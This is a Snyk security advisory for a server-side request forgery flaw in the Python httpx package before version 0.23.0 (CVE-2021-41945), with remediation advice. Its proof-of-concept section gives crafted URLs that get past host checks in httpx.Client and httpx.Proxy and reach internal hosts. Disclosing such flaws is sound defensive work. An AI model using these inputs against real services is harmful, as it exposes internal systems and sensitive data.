Server-side Request Forgery (SSRF) Affecting httpx package, versions [,0.23.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-HTTPX-2772742
- published13 May 2022
- disclosed21 Apr 2022
- creditlebr0nli
Introduced: 21 Apr 2022
CVE-2021-41945 (opens in a new tab)How to fix?
Upgrade httpx to version 0.23.0 or higher.
Overview
httpx is a The next generation HTTP client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper implementation of httpx.URL().copy_with, that causes httpx.Client and httpx.Proxy to parse wrong URL. Exploiting this vulnerability leads to blacklist bypass.
PoC
httpx.Client
user_input_from_http_request = 'http:////admin-dashboard/secret'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'admin-dashboard'
resp = httpx.Client(base_url=u).get('/') # SSRF to http://admin-dashboard/secret
print(resp.text) # sensitive data leak
httpx.Proxy
user_input_from_http_request = 'http://x@//internal-proxy:8082/'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'internal-proxy'
# httpx.Proxy(u).url.netloc == b'internal-proxy:8082'
resp = httpx.Client(proxies=u).get('/') # will request via http proxy at internal-proxy:8082